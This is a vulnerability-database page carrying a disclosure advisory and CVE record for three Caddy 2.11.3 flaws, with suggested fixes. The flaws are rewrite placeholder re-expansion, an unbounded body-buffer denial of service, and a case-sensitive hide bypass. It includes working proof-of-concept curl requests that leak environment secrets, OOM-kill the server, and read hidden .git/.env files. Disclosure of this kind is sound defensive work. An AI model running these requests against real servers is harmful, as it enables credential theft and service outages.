GHSA-J8PX-RMRX-76H9

Vulnerability from github – Published: 2026-09-18 13:09 – Updated: 2026-09-18 13:09

Summary

Caddy: rewrite placeholder re-expansion, unbounded body buffer DoS, and fileHidden case-sensitivity bypass

Details

Caddy v2.11.3 — Three vulnerabilities in handler/placeholder layer

Tested against: caddy:2.11.3 (official Docker image, SHA verified at runtime) Reproduction environment: Docker Desktop 4.73.1 / Engine 29.4.3 on Windows 10 host, isolated containers, no network egress required for any of the exploits

This advisory bundles three independent issues discovered together during a source review of the placeholder/replacer layer. Each issue has been reproduced end-to-end against the unmodified caddy:2.11.3 image with the minimal Caddyfile that the documentation suggests for the affected feature.

Issue 1: Rewrite handler — placeholder double-expansion enables env var / file disclosure

File: modules/caddyhttp/rewrite/rewrite.go:215-249 and buildQueryString at 327 Class: CWE-94 (Code Injection), same bug class as CVE-2026-30852 (vars_regexp) Severity: Low (requires operator config with trailing ? in rewrite URI)

Root cause

When the operator's rewrite URI template: 1. Contains a placeholder that resolves to request data (e.g. {http.request.header.X-Foo}), AND 2. Ends with a literal ? (with empty query side)

…then the bytes produced by the first Replacer pass (which include attacker-controlled header values) are fed through buildQueryString, which runs a second Replacer pass and resolves any placeholders the attacker injected.

// rewrite.go (abridged)
newPath = repl.ReplaceAll(path, "")            // pass 1 — header expanded
if before, after, found := strings.Cut(newPath, "?"); found {
    var injectedQuery string
    newPath, injectedQuery = before, after
    if query == "" {                            // trailing-? branch
        query = injectedQuery                   // attacker bytes flow into 'query'
    }
}
if query != "" {
    newQuery = buildQueryString(query, repl)    // pass 2 — RE-EXPANDS attacker input
}

This is the same gadget that was patched in vars_regexp (CVE-2026-30852). The fix did not extend to rewrite, and there is no equivalent regression test for it in rewrite_test.go (compare vars_test.go:63,69,75).

Reproduction (real Caddy 2.11.3)

Caddyfile:

{
    admin off
    auto_https off
}

:8080 {
    rewrite * /serve/{http.request.header.X-Fwd}?
    respond "PATH={path} QUERY={query}"
}

docker-compose.yml:

services:
  caddy:
    image: caddy:2.11.3
    environment:
      DATABASE_URL: "postgres://leaked:supersecret@dbserver/production"
    ports: ["8080:8080"]
    volumes: ["./Caddyfile:/etc/caddy/Caddyfile:ro"]

Exploit:

$ docker compose up -d
$ curl "http://localhost:8080/anything" -H "X-Fwd: foo?{env.DATABASE_URL}=leak"
PATH=/serve/foo QUERY=postgres%3A%2F%2Fleaked%3Asupersecret%40dbserver%2Fproduction=leak

URL-decoded query: postgres://leaked:supersecret@dbserver/production=leak. The DATABASE_URL env var has been exfiltrated into the request URL, where it will appear in access logs, get forwarded to upstreams via reverse_proxy, and be readable via {http.request.uri.query} in any downstream handler.

Available read primitives

The same gadget exposes any placeholder the attacker can name in their injected substring: - {env.X} — any env var on the Caddy process - {file./path} — any file readable by the Caddy process (if file provider is registered) - {vars.X} — Caddy-internal request variables

Suggested fix (mirrors the CVE-2026-30852 patch)

After splitting at ?, sanitize placeholder syntax in the injected query before passing it to buildQueryString:

if before, after, found := strings.Cut(newPath, "?"); found {
    var injectedQuery string
    newPath, injectedQuery = before, after
    if query == "" {
        injectedQuery = strings.ReplaceAll(injectedQuery, "{", "%7B")
        injectedQuery = strings.ReplaceAll(injectedQuery, "}", "%7D")
        query = injectedQuery
    }
}

Also recommend adding equivalent regression tests in rewrite_test.go to the three "is not re-expanded" tests in vars_test.go.

Issue 2: Unbounded body buffer via `{http.request.body}` placeholder — memory exhaustion DoS

File: modules/caddyhttp/replacer.go:217-245 (placeholder resolution for http.request.body) Class: CWE-770 (Allocation of Resources Without Limits) Severity: Moderate (any operator using the documented log_append body {http.request.body} pattern is vulnerable)

Root cause

When any handler references the {http.request.body} placeholder, the replacer code path reads the entire request body into a byte slice via io.Copy(buf, req.Body) with no LimitReader wrapping. The needsEarly flag bypasses the request_body middleware's size limit, because the placeholder is resolved before that middleware sees the request.

This means an attacker can send a request body of any size (up to whatever Content-Length they declare, or unlimited chunked) and Caddy will buffer all of it into RAM before any size check fires.

Reproduction (real Caddy 2.11.3, 512 MB container cap)

Caddyfile:

{
    admin off
    auto_https off
}

:8080 {
    log_append body {http.request.body}
    respond "OK, length received: {http.request.header.Content-Length}"
}

docker-compose.yml:

services:
  caddy:
    image: caddy:2.11.3
    mem_limit: 512m
    memswap_limit: 512m
    ports: ["8080:8080"]
    volumes: ["./Caddyfile:/etc/caddy/Caddyfile:ro"]

Exploit (Windows PowerShell):

PS> fsutil file createnew big.bin 1073741824
File C:\caddy-verify\test3-body-dos\big.bin is created
PS> curl.exe -X POST --data-binary "@big.bin" -H "Expect:" --max-time 120 http://localhost:8080/
curl: (28) Operation timed out after 120010 milliseconds with 0 bytes received

Container state immediately after:

PS> docker ps -a --filter name=caddy-verify-3
CONTAINER ID   IMAGE         STATUS                       NAMES
7f8ba392e7b5   caddy:2.11.3  Exited (137) 2 minutes ago   caddy-verify-3

PS> docker inspect caddy-verify-3 --format "ExitCode={{.State.ExitCode}} OOMKilled={{.State.OOMKilled}}"
ExitCode=137 OOMKilled=true

OOMKilled=true is dispositive — the Linux kernel's OOM killer fired. Caddy's logs cut off cleanly after "serving initial configuration" with no error message, which is the signature of a process killed mid-allocation by SIGKILL.

A small body works fine:

$ curl -X POST -d "hello world" http://localhost:8080/
OK, length received: 11

Real-world exploitability

The log_append body {http.request.body} pattern is in Caddy's documentation as a debugging aid for request troubleshooting and is widely used. Other affected configurations include CEL matchers like expression {http.request.body}.contains('admin'), custom header forwarding with header_up X-Original-Body {http.request.body}, and any third-party module that resolves the placeholder.

Container memory limits in Docker / Kubernetes will result in OOM-kills as shown above; on bare-metal Caddy without cgroup limits, the attacker can exhaust all host RAM and trigger swap thrashing or system-wide instability.

Suggested fix

Wrap the body read with a LimitReader keyed off either: 1. The operator's configured request_body.max_size (if set), or 2. A sane built-in default (proposal: 10 MB), with an opt-out / opt-up directive for operators who genuinely need to log large bodies.

If the placeholder is referenced and the body exceeds the limit, the placeholder should resolve to a truncation marker or empty string, and a warning should be logged.

Issue 3: `fileHidden()` case-sensitive pattern bypass — exposes "hidden" files via case variation

File: modules/caddyhttp/fileserver/staticfiles.go:669-718 (the fileHidden function and filepath.Match call) Class: CWE-178 (Improper Handling of Case Sensitivity) Severity: Moderate (affects all macOS deployments, all Windows deployments, and any Linux deployment where mixed-case directories exist)

Root cause

fileHidden() uses filepath.Match, which is case-sensitive. However: - macOS APFS is case-insensitive by default - Windows NTFS is case-insensitive by default - Linux ext4 can be configured with the casefold flag, and even without it, build pipelines / backup restores / typos can create same-name-different-case directories side by side

On a case-insensitive filesystem, the OS resolves /.git and /.GIT to the same directory, but Caddy's hide check only fires on the exact-case literal .git. Result: the file is served via the uppercase URL.

On a case-sensitive filesystem where both .git and .GIT exist as separate directories, Caddy hides only .git and exposes .GIT.

Reproduction (real Caddy 2.11.3)

Caddyfile:

{
    admin off
    auto_https off
}

:8080 {
    root * /srv
    file_server {
        hide .git .env secrets
    }
}

Setup: create six files inside the container (an Alpine setup container writes them so the case-distinct directories survive on the case-sensitive ext4 inside the Linux container):

/srv/.git/HEAD                "ref: refs/heads/main"
/srv/.GIT/HEAD                "ref: refs/heads/main (UPPERCASE BYPASS)"
/srv/.env                     "DATABASE_URL=postgres://user:pass@host"
/srv/.ENV                     "DATABASE_URL=postgres://user:pass@host (UPPERCASE BYPASS)"
/srv/secrets/api.txt          "supersecret_api_key=sk_live_real"
/srv/SECRETS/api.txt          "supersecret_api_key=sk_live_real (UPPERCASE BYPASS)"

Test transcript (all three hide rules — .git, .env, secrets — bypassed via uppercase):

PS> curl.exe -i http://localhost:8080/.git/HEAD
HTTP/1.1 404 Not Found
Content-Length: 0

PS> curl.exe -i http://localhost:8080/.GIT/HEAD
HTTP/1.1 200 OK
Content-Length: 40
ref: refs/heads/main (UPPERCASE BYPASS)

PS> curl.exe -i http://localhost:8080/.env
HTTP/1.1 404 Not Found
Content-Length: 0

PS> curl.exe -i http://localhost:8080/.ENV
HTTP/1.1 200 OK
Content-Length: 58
DATABASE_URL=postgres://user:pass@host (UPPERCASE BYPASS)

PS> curl.exe -i http://localhost:8080/secrets/api.txt
HTTP/1.1 404 Not Found
Content-Length: 0

PS> curl.exe -i http://localhost:8080/SECRETS/api.txt
HTTP/1.1 200 OK
Content-Length: 52
Content-Type: text/plain; charset=utf-8
supersecret_api_key=sk_live_real (UPPERCASE BYPASS)

Three separate hide rules, three separate uppercase bypasses, all 200 OK with the "hidden" content served.

Why this matters in practice

.git, .env, and secrets/ are three of the most common entries in production Caddy hide configurations because they correspond to high-value attacker targets: - .git/HEAD + .git/config + .git/objects/ → source code disclosure - .env → credentials, API keys, database connection strings - secrets/ → operator-named bucket of anything sensitive

The bug means that on macOS and Windows hosts (and a subset of Linux hosts), the hide directive provides no protection at all for these files — only psychological protection. An attacker familiar with this bug will probe with case variants before assuming the files aren't there.

Suggested fix

In fileHidden(), on platforms with case-insensitive filesystems (or when the configured filesystem is case-insensitive), perform the match against the lowercase request path and lowercase pattern. Go's standard library does not expose a portable "is this filesystem case-insensitive" check, so a reasonable conservative approach is to always lowercase both sides on GOOS=darwin and GOOS=windows, and to document for Linux operators that they should not rely on hide if their filesystem has casefold enabled or if they manage their files with case-folding tools.

Alternative: enforce that paths matched by hide are also matched case-insensitively on all platforms, with an opt-out for operators who genuinely need case-sensitive matching.

Reproduction kit

A full reproduction kit (Caddyfiles, docker-compose.yml files, runnable PoCs) is available on request. All exploits in this report were verified against the unmodified official caddy:2.11.3 Docker image.

Reporter

Independent security research. No prior coordination, no other parties notified, no public disclosure prior to this report. Happy to coordinate on disclosure timeline and credit.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.11.3"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/caddyserver/caddy/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-77281"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94",
      "CWE-178",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-18T13:09:27Z",
    "nvd_published_at": "2026-09-17T21:17:37Z",
    "severity": "MODERATE"
  },
  "details": "# Caddy v2.11.3 \u2014 Three vulnerabilities in handler/placeholder layer\n\n**Tested against:** `caddy:2.11.3` (official Docker image, SHA verified at runtime)\n**Reproduction environment:** Docker Desktop 4.73.1 / Engine 29.4.3 on Windows 10 host, isolated containers, no network egress required for any of the exploits\n\nThis advisory bundles three independent issues discovered together during a source review of the placeholder/replacer layer. Each issue has been reproduced end-to-end against the unmodified `caddy:2.11.3` image with the minimal Caddyfile that the documentation suggests for the affected feature.\n\n---\n\n## Issue 1: Rewrite handler \u2014 placeholder double-expansion enables env var / file disclosure\n\n**File:** `modules/caddyhttp/rewrite/rewrite.go:215-249` and `buildQueryString` at `327`\n**Class:** CWE-94 (Code Injection), same bug class as CVE-2026-30852 (`vars_regexp`)\n**Severity:** Low (requires operator config with trailing `?` in rewrite URI)\n\n### Root cause\n\nWhen the operator\u0027s `rewrite` URI template:\n1. Contains a placeholder that resolves to request data (e.g. `{http.request.header.X-Foo}`), AND\n2. Ends with a literal `?` (with empty query side)\n\n\u2026then the bytes produced by the **first** Replacer pass (which include attacker-controlled header values) are fed through `buildQueryString`, which runs a **second** Replacer pass and resolves any placeholders the attacker injected.\n\n```go\n// rewrite.go (abridged)\nnewPath = repl.ReplaceAll(path, \"\")            // pass 1 \u2014 header expanded\nif before, after, found := strings.Cut(newPath, \"?\"); found {\n    var injectedQuery string\n    newPath, injectedQuery = before, after\n    if query == \"\" {                            // trailing-? branch\n        query = injectedQuery                   // attacker bytes flow into \u0027query\u0027\n    }\n}\nif query != \"\" {\n    newQuery = buildQueryString(query, repl)    // pass 2 \u2014 RE-EXPANDS attacker input\n}\n```\n\nThis is the same gadget that was patched in `vars_regexp` (CVE-2026-30852). The fix did not extend to `rewrite`, and there is no equivalent regression test for it in `rewrite_test.go` (compare `vars_test.go:63,69,75`).\n\n### Reproduction (real Caddy 2.11.3)\n\n`Caddyfile`:\n```\n{\n    admin off\n    auto_https off\n}\n\n:8080 {\n    rewrite * /serve/{http.request.header.X-Fwd}?\n    respond \"PATH={path} QUERY={query}\"\n}\n```\n\n`docker-compose.yml`:\n```yaml\nservices:\n  caddy:\n    image: caddy:2.11.3\n    environment:\n      DATABASE_URL: \"postgres://leaked:supersecret@dbserver/production\"\n    ports: [\"8080:8080\"]\n    volumes: [\"./Caddyfile:/etc/caddy/Caddyfile:ro\"]\n```\n\nExploit:\n```\n$ docker compose up -d\n$ curl \"http://localhost:8080/anything\" -H \"X-Fwd: foo?{env.DATABASE_URL}=leak\"\nPATH=/serve/foo QUERY=postgres%3A%2F%2Fleaked%3Asupersecret%40dbserver%2Fproduction=leak\n```\n\nURL-decoded query: `postgres://leaked:supersecret@dbserver/production=leak`. The `DATABASE_URL` env var has been exfiltrated into the request URL, where it will appear in access logs, get forwarded to upstreams via `reverse_proxy`, and be readable via `{http.request.uri.query}` in any downstream handler.\n\n### Available read primitives\n\nThe same gadget exposes any placeholder the attacker can name in their injected substring:\n- `{env.X}` \u2014 any env var on the Caddy process\n- `{file./path}` \u2014 any file readable by the Caddy process (if `file` provider is registered)\n- `{vars.X}` \u2014 Caddy-internal request variables\n\n### Suggested fix (mirrors the CVE-2026-30852 patch)\n\nAfter splitting at `?`, sanitize placeholder syntax in the injected query before passing it to `buildQueryString`:\n\n```go\nif before, after, found := strings.Cut(newPath, \"?\"); found {\n    var injectedQuery string\n    newPath, injectedQuery = before, after\n    if query == \"\" {\n        injectedQuery = strings.ReplaceAll(injectedQuery, \"{\", \"%7B\")\n        injectedQuery = strings.ReplaceAll(injectedQuery, \"}\", \"%7D\")\n        query = injectedQuery\n    }\n}\n```\n\nAlso recommend adding equivalent regression tests in `rewrite_test.go` to the three \"is not re-expanded\" tests in `vars_test.go`.\n\n---\n\n## Issue 2: Unbounded body buffer via `{http.request.body}` placeholder \u2014 memory exhaustion DoS\n\n**File:** `modules/caddyhttp/replacer.go:217-245` (placeholder resolution for `http.request.body`)\n**Class:** CWE-770 (Allocation of Resources Without Limits)\n**Severity:** Moderate (any operator using the documented `log_append body {http.request.body}` pattern is vulnerable)\n\n### Root cause\n\nWhen any handler references the `{http.request.body}` placeholder, the replacer code path reads the entire request body into a byte slice via `io.Copy(buf, req.Body)` with **no `LimitReader`** wrapping. The `needsEarly` flag bypasses the `request_body` middleware\u0027s size limit, because the placeholder is resolved before that middleware sees the request.\n\nThis means an attacker can send a request body of any size (up to whatever `Content-Length` they declare, or unlimited chunked) and Caddy will buffer all of it into RAM before any size check fires.\n\n### Reproduction (real Caddy 2.11.3, 512 MB container cap)\n\n`Caddyfile`:\n```\n{\n    admin off\n    auto_https off\n}\n\n:8080 {\n    log_append body {http.request.body}\n    respond \"OK, length received: {http.request.header.Content-Length}\"\n}\n```\n\n`docker-compose.yml`:\n```yaml\nservices:\n  caddy:\n    image: caddy:2.11.3\n    mem_limit: 512m\n    memswap_limit: 512m\n    ports: [\"8080:8080\"]\n    volumes: [\"./Caddyfile:/etc/caddy/Caddyfile:ro\"]\n```\n\nExploit (Windows PowerShell):\n```\nPS\u003e fsutil file createnew big.bin 1073741824\nFile C:\\caddy-verify\\test3-body-dos\\big.bin is created\nPS\u003e curl.exe -X POST --data-binary \"@big.bin\" -H \"Expect:\" --max-time 120 http://localhost:8080/\ncurl: (28) Operation timed out after 120010 milliseconds with 0 bytes received\n```\n\nContainer state immediately after:\n```\nPS\u003e docker ps -a --filter name=caddy-verify-3\nCONTAINER ID   IMAGE         STATUS                       NAMES\n7f8ba392e7b5   caddy:2.11.3  Exited (137) 2 minutes ago   caddy-verify-3\n\nPS\u003e docker inspect caddy-verify-3 --format \"ExitCode={{.State.ExitCode}} OOMKilled={{.State.OOMKilled}}\"\nExitCode=137 OOMKilled=true\n```\n\n`OOMKilled=true` is dispositive \u2014 the Linux kernel\u0027s OOM killer fired. Caddy\u0027s logs cut off cleanly after `\"serving initial configuration\"` with no error message, which is the signature of a process killed mid-allocation by SIGKILL.\n\nA small body works fine:\n```\n$ curl -X POST -d \"hello world\" http://localhost:8080/\nOK, length received: 11\n```\n\n### Real-world exploitability\n\nThe `log_append body {http.request.body}` pattern is in Caddy\u0027s documentation as a debugging aid for request troubleshooting and is widely used. Other affected configurations include CEL matchers like `expression {http.request.body}.contains(\u0027admin\u0027)`, custom header forwarding with `header_up X-Original-Body {http.request.body}`, and any third-party module that resolves the placeholder.\n\nContainer memory limits in Docker / Kubernetes will result in OOM-kills as shown above; on bare-metal Caddy without cgroup limits, the attacker can exhaust all host RAM and trigger swap thrashing or system-wide instability.\n\n### Suggested fix\n\nWrap the body read with a `LimitReader` keyed off either:\n1. The operator\u0027s configured `request_body.max_size` (if set), or\n2. A sane built-in default (proposal: 10 MB), with an opt-out / opt-up directive for operators who genuinely need to log large bodies.\n\nIf the placeholder is referenced and the body exceeds the limit, the placeholder should resolve to a truncation marker or empty string, and a warning should be logged.\n\n---\n\n## Issue 3: `fileHidden()` case-sensitive pattern bypass \u2014 exposes \"hidden\" files via case variation\n\n**File:** `modules/caddyhttp/fileserver/staticfiles.go:669-718` (the `fileHidden` function and `filepath.Match` call)\n**Class:** CWE-178 (Improper Handling of Case Sensitivity)\n**Severity:** Moderate (affects all macOS deployments, all Windows deployments, and any Linux deployment where mixed-case directories exist)\n\n### Root cause\n\n`fileHidden()` uses `filepath.Match`, which is **case-sensitive**. However:\n- **macOS APFS** is case-insensitive by default\n- **Windows NTFS** is case-insensitive by default\n- **Linux ext4** can be configured with the `casefold` flag, and even without it, build pipelines / backup restores / typos can create same-name-different-case directories side by side\n\nOn a case-insensitive filesystem, the OS resolves `/.git` and `/.GIT` to the same directory, but Caddy\u0027s hide check only fires on the exact-case literal `.git`. Result: the file is served via the uppercase URL.\n\nOn a case-sensitive filesystem where both `.git` and `.GIT` exist as separate directories, Caddy hides only `.git` and exposes `.GIT`.\n\n### Reproduction (real Caddy 2.11.3)\n\n`Caddyfile`:\n```\n{\n    admin off\n    auto_https off\n}\n\n:8080 {\n    root * /srv\n    file_server {\n        hide .git .env secrets\n    }\n}\n```\n\nSetup: create six files inside the container (an Alpine setup container writes them so the case-distinct directories survive on the case-sensitive ext4 inside the Linux container):\n\n```\n/srv/.git/HEAD                \"ref: refs/heads/main\"\n/srv/.GIT/HEAD                \"ref: refs/heads/main (UPPERCASE BYPASS)\"\n/srv/.env                     \"DATABASE_URL=postgres://user:pass@host\"\n/srv/.ENV                     \"DATABASE_URL=postgres://user:pass@host (UPPERCASE BYPASS)\"\n/srv/secrets/api.txt          \"supersecret_api_key=sk_live_real\"\n/srv/SECRETS/api.txt          \"supersecret_api_key=sk_live_real (UPPERCASE BYPASS)\"\n```\n\nTest transcript (all three hide rules \u2014 `.git`, `.env`, `secrets` \u2014 bypassed via uppercase):\n\n```\nPS\u003e curl.exe -i http://localhost:8080/.git/HEAD\nHTTP/1.1 404 Not Found\nContent-Length: 0\n\nPS\u003e curl.exe -i http://localhost:8080/.GIT/HEAD\nHTTP/1.1 200 OK\nContent-Length: 40\nref: refs/heads/main (UPPERCASE BYPASS)\n\nPS\u003e curl.exe -i http://localhost:8080/.env\nHTTP/1.1 404 Not Found\nContent-Length: 0\n\nPS\u003e curl.exe -i http://localhost:8080/.ENV\nHTTP/1.1 200 OK\nContent-Length: 58\nDATABASE_URL=postgres://user:pass@host (UPPERCASE BYPASS)\n\nPS\u003e curl.exe -i http://localhost:8080/secrets/api.txt\nHTTP/1.1 404 Not Found\nContent-Length: 0\n\nPS\u003e curl.exe -i http://localhost:8080/SECRETS/api.txt\nHTTP/1.1 200 OK\nContent-Length: 52\nContent-Type: text/plain; charset=utf-8\nsupersecret_api_key=sk_live_real (UPPERCASE BYPASS)\n```\n\nThree separate hide rules, three separate uppercase bypasses, all 200 OK with the \"hidden\" content served.\n\n### Why this matters in practice\n\n`.git`, `.env`, and `secrets/` are three of the most common entries in production Caddy `hide` configurations because they correspond to high-value attacker targets:\n- `.git/HEAD` + `.git/config` + `.git/objects/` \u2192 source code disclosure\n- `.env` \u2192 credentials, API keys, database connection strings\n- `secrets/` \u2192 operator-named bucket of anything sensitive\n\nThe bug means that on macOS and Windows hosts (and a subset of Linux hosts), the `hide` directive provides **no protection at all** for these files \u2014 only psychological protection. An attacker familiar with this bug will probe with case variants before assuming the files aren\u0027t there.\n\n### Suggested fix\n\nIn `fileHidden()`, on platforms with case-insensitive filesystems (or when the configured filesystem is case-insensitive), perform the match against the lowercase request path and lowercase pattern. Go\u0027s standard library does not expose a portable \"is this filesystem case-insensitive\" check, so a reasonable conservative approach is to always lowercase both sides on `GOOS=darwin` and `GOOS=windows`, and to document for Linux operators that they should not rely on `hide` if their filesystem has `casefold` enabled or if they manage their files with case-folding tools.\n\nAlternative: enforce that paths matched by `hide` are also matched case-insensitively on all platforms, with an opt-out for operators who genuinely need case-sensitive matching.\n\n---\n\n## Reproduction kit\n\nA full reproduction kit (Caddyfiles, docker-compose.yml files, runnable PoCs) is available on request. All exploits in this report were verified against the unmodified official `caddy:2.11.3` Docker image.\n\n## Reporter\n\nIndependent security research. No prior coordination, no other parties notified, no public disclosure prior to this report. Happy to coordinate on disclosure timeline and credit.",
  "id": "GHSA-j8px-rmrx-76h9",
  "modified": "2026-09-18T13:09:27Z",
  "published": "2026-09-18T13:09:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-j8px-rmrx-76h9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77281"
    },
    {
      "type": "WEB",
      "url": "https://github.com/caddyserver/caddy/pull/7761"
    },
    {
      "type": "WEB",
      "url": "https://github.com/caddyserver/caddy/commit/176b043b0104cee3f894023cd5a598ac29e404bb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/caddyserver/caddy"
    },
    {
      "type": "WEB",
      "url": "https://github.com/caddyserver/caddy/releases/tag/v2.11.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Caddy: rewrite placeholder re-expansion, unbounded body buffer DoS, and fileHidden case-sensitivity bypass"
}

CVE-2026-77281 (GCVE-0-2026-77281)

Vulnerability from cvelistv5 – Published: 2026-09-17 21:04 – Updated: 2026-09-18 14:43

Title

Caddy: rewrite placeholder re-expansion

Summary

Caddy is an extensible server platform that uses TLS by default. In version 2.11.3 and earlier, three configuration-dependent weaknesses affect the handler and placeholder layer. In modules/caddyhttp/rewrite/rewrite.go, Rewrite.Rewrite() can pass attacker-controlled replacement bytes through buildQueryString for a second placeholder expansion when a rewrite URI ends with a literal question mark, allowing injected environment or request-variable placeholders to disclose data and, when the file provider is registered, allowing injected file placeholders to disclose readable files. The issue is fixed in version 2.11.4.

Severity

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L

SSVC

Exploitation: none Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-18 14:39 UTC

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')
CWE-178 - Improper Handling of Case Sensitivity
CWE-770 - Allocation of Resources Without Limits or Throttling

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/caddyserver/caddy/security/adv…	x_refsource_CONFIRM
https://github.com/caddyserver/caddy/pull/7761	x_refsource_MISC
https://github.com/caddyserver/caddy/commit/176b0…	x_refsource_MISC
https://github.com/caddyserver/caddy/releases/tag…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
caddyserver	caddy	Affected: < 2.11.4

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-77281",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-18T14:39:55.254322Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-18T14:43:34.818Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "caddy",
          "vendor": "caddyserver",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.11.4"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Caddy is an extensible server platform that uses TLS by default. In version 2.11.3 and earlier, three configuration-dependent weaknesses affect the handler and placeholder layer. In modules/caddyhttp/rewrite/rewrite.go, Rewrite.Rewrite() can pass attacker-controlled replacement bytes through buildQueryString for a second placeholder expansion when a rewrite URI ends with a literal question mark, allowing injected environment or request-variable placeholders to disclose data and, when the file provider is registered, allowing injected file placeholders to disclose readable files. The  issue is fixed in version 2.11.4."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-94",
              "description": "CWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-178",
              "description": "CWE-178: Improper Handling of Case Sensitivity",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-770",
              "description": "CWE-770: Allocation of Resources Without Limits or Throttling",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-17T21:04:58.400Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/caddyserver/caddy/security/advisories/GHSA-j8px-rmrx-76h9",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-j8px-rmrx-76h9"
        },
        {
          "name": "https://github.com/caddyserver/caddy/pull/7761",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/caddyserver/caddy/pull/7761"
        },
        {
          "name": "https://github.com/caddyserver/caddy/commit/176b043b0104cee3f894023cd5a598ac29e404bb",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/caddyserver/caddy/commit/176b043b0104cee3f894023cd5a598ac29e404bb"
        },
        {
          "name": "https://github.com/caddyserver/caddy/releases/tag/v2.11.4",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/caddyserver/caddy/releases/tag/v2.11.4"
        }
      ],
      "source": {
        "advisory": "GHSA-j8px-rmrx-76h9",
        "discovery": "UNKNOWN"
      },
      "title": "Caddy: rewrite placeholder re-expansion"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-77281",
    "datePublished": "2026-09-17T21:04:58.400Z",
    "dateReserved": "2026-08-20T19:14:21.331Z",
    "dateUpdated": "2026-09-18T14:43:34.818Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-J8PX-RMRX-76H9

Caddy v2.11.3 — Three vulnerabilities in handler/placeholder layer

Issue 1: Rewrite handler — placeholder double-expansion enables env var / file disclosure

Root cause

Reproduction (real Caddy 2.11.3)

Available read primitives

Suggested fix (mirrors the CVE-2026-30852 patch)

Issue 2: Unbounded body buffer via {http.request.body} placeholder — memory exhaustion DoS

Root cause

